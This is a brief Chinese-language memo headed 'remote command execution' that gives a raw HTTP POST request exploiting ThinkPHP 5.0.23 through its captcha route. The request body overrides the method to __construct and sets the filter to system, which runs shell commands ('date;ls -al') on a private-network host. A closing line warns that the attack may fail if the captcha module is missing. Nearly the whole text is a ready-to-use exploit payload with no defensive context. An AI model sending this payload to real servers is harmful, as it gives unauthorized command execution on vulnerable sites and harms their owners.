远程命令可执行 

    1. POST /thinkphp_5.0.23/public/index.php?s=captcha HTTP/1.1
    2. Host: 192.168.170.186
    3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3670.0 Safari/537.36
    4. Connection: close
    5. Content-Type: application/x-www-form-urlencoded
    6. Content-Length: 81
    8. _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=date;ls -al

    不一定能成功 比如提示没有 captcha模块。